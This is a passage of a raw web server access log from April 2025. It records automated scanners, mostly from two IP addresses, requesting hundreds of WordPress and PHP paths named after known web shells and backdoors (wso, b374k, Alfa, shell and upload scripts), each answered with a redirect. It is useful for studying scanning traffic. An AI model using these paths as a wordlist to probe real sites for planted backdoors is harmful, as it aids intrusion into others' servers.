HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:17 -0400] "GET /ern.PhP7 HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:17 -0400] "GET /wp-includes/js/crop/mart.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:18 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:19 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:19 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:19 -0400] "GET /ern1.PhP7 HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:20 -0400] "GET /wp-includes/assets/script-loader.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:20 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:20 -0400] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:21 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:21 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:22 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:22 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:23 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:23 -0400] "GET /wp-content/upgrade/edit.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:24 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:24 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/jasmine.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:24 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:25 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:25 -0400] "GET /wp-includes/block-patterns/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:26 -0400] "GET /index.php.suspected HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:26 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:26 -0400] "GET /wp-includes/PHPMailer/upfile_(2).php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:27 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:27 -0400] "GET /.well-known/acme-challenge/fond.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:28 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:28 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:28 -0400] "GET /wp-includes/css/about.php7 HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:29 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:29 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:29 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:30 -0400] "GET /wp-includes/Text/Diff/Engine/com_search.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:31 -0400] "GET /.well-known/acme-challenge/adminfuns.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:31 -0400] "GET /r3x.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:31 -0400] "GET /wp-content/uploads/7.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:32 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/a.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:32 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:33 -0400] "GET /.tmb/cpabpkyk.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:33 -0400] "GET /wp-content/plugins/WordPressCore/cong.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:34 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:34 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:35 -0400] "GET /assets/wp-blog.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:35 -0400] "GET /assets/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:36 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:36 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:36 -0400] "GET /wp-includes/css/SEEP77.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:37 -0400] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:37 -0400] "GET /wp-content/plugins/wso.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:38 -0400] "GET /wp-content/plugins/custom/issue.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:38 -0400] "GET /ccx/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:38 -0400] "GET /wp-includes/customize/class-wp-customize-sidebar-secure.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:38 -0400] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:39 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:39 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:39 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:40 -0400] "GET /wp-includes/css.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:40 -0400] "GET /.well-known/pki-validation/Newsupway.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:40 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:41 -0400] "GET /wp-includes/log404.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:41 -0400] "GET /.well-known/pki-validation/wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:42 -0400] "GET /batm.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:42 -0400] "GET /wp-includes/images/wlw/libcore.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:42 -0400] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:43 -0400] "GET /wp-admin/ccx/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:43 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:43 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:43 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:44 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:44 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 43.153.67.21 - - [06/Apr/2025:08:24:27 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 44.246.194.194 - - [06/Apr/2025:08:35:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" 216.244.66.236 - - [06/Apr/2025:08:43:49 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 134.209.103.14 - - [06/Apr/2025:08:50:17 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 51.178.27.186 - - [06/Apr/2025:10:07:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 194.26.192.111 - - [06/Apr/2025:10:10:50 -0400] "HEAD /xmlrpc.php HTTP/1.1" 301 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 216.244.66.236 - - [06/Apr/2025:10:22:59 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 13.72.65.229 - - [06/Apr/2025:10:28:57 -0400] "GET /wp-admin/plugins HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:01 -0400] "GET /wp-includes/SimplePie/HdGGN/index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:01 -0400] "GET /sidebar.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:02 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:02 -0400] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:02 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:03 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:03 -0400] "GET /.well-known/pki-validation/gkiliuew.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:03 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:04 -0400] "GET /wp-content/themes/astra/inc/builder/type/header/button/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:04 -0400] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:04 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:04 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:05 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:05 -0400] "GET /excel.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:06 -0400] "GET /wp/menu.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:06 -0400] "GET /include/lib.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:06 -0400] "GET /libraries/vendor/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:07 -0400] "GET /admin/index_upload.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:08 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:08 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:09 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:10 -0400] "GET /checkbox.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:11 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:11 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:12 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:13 -0400] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:14 -0400] "GET /wp-content/themes/astra/inc/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:15 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:16 -0400] "GET /cron_job.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:16 -0400] "GET /wp-content/plugins/gdrxuof/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:17 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:17 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:17 -0400] "GET /wp-includes/Text/7ayddz.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:18 -0400] "GET /GOD.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:18 -0400] "GET /payment.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:19 -0400] "GET /activity.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:19 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:19 -0400] "GET /wp-content/plugins/ccx/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:19 -0400] "GET /files/journals/1/articles/2002/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:20 -0400] "GET /xl2023.php.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:20 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:20 -0400] "GET /wp-includes/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:20 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:21 -0400] "GET /old.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:21 -0400] "GET /webhook.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:21 -0400] "GET /.well-known/plugins HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:22 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:23 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:23 -0400] "GET /wp-includes/eew.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:24 -0400] "GET /wp-content/plugins/gzzmasp/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:24 -0400] "GET /wordpress/wp-content/plugins/erfd/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:25 -0400] "GET /wp-content/plugins/yyobang/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:25 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:26 -0400] "GET /wp-includes/php-compat/wp/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:26 -0400] "GET /wp-content/themes/krs2kdwa/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:27 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:27 -0400] "GET /gzak2w.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:27 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:28 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:28 -0400] "GET /wp-content/plugins/html404/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:29 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:29 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:30 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:31 -0400] "GET /Alfa.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:32 -0400] "GET /rc.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:32 -0400] "GET /wp-includes/template-wploader.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:33 -0400] "GET /wp-admin/maint/maint/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:33 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:33 -0400] "GET /introduction.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:34 -0400] "GET /wp-content/plugins/oyaeyim/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:34 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:35 -0400] "GET /image.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:35 -0400] "GET /wp-includes/xBrain.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:35 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:36 -0400] "GET /wp-admin/css/colors/blue/blkaabkj.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:36 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:36 -0400] "GET /wp-content/plugins/zupqfup/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:37 -0400] "GET /ALFA_DATA/alfacgiapi/function.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:37 -0400] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:37 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:38 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:38 -0400] "GET /optimizer.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:38 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:38 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:39 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:39 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:40 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:40 -0400] "GET /wp-content/plugins/WordPressCore/swvhvgnq.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:41 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:41 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:41 -0400] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:41 -0400] "GET /feedback.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:42 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:42 -0400] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:42 -0400] "GET /wp-admin/uploads/init HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:43 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:43 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:44 -0400] "GET /wp-content/uploads/9_abc.phtml.jpg HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:44 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:45 -0400] "GET /wp-content/plugins/jvtsrel/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:45 -0400] "GET /wp-content/plugins/vjeqbbj/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:45 -0400] "GET /wp-includes/js/jquery/ui/3k0sm2/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:46 -0400] "GET /wp-content/ccx/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:47 -0400] "GET /wp-content/plugins/wp-hps/sh/b374k.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:48 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:48 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:49 -0400] "GET /wp-admin/plugins/init HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:49 -0400] "GET /wp-content/plugins/gvkyvhp/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:50 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:50 -0400] "GET /assets/app.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:51 -0400] "GET /wp-includes/js/install.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:52 -0400] "GET /wp-content/plugins/ljqhmhj/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:52 -0400] "GET /wp-includes/sitemaps/providers/class-wp-sitemaps-admin.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:53 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:53 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:54 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:54 -0400] "GET /wp-content/uploads/index HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:55 -0400] "GET /wp-includes/js/tinymce/wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:55 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:56 -0400] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:57 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:57 -0400] "GET /wp-includes/customize/upfile.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:58 -0400] "GET /register.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:59 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:59 -0400] "GET /wp/wp-admin/wp-setup.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:29:59 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:00 -0400] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:01 -0400] "GET /wp-includes/Cez57/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:01 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:02 -0400] "GET /wp-content/berlin.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:03 -0400] "GET /wp-content/plugins/carousel-slider/assets/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:04 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:05 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:06 -0400] "GET /.well-known/zxhfwqyt.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:07 -0400] "GET /invoice.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:08 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:09 -0400] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:09 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:10 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:11 -0400] "GET /comment.php HTTP/1.1" 301 795 "-" "-" 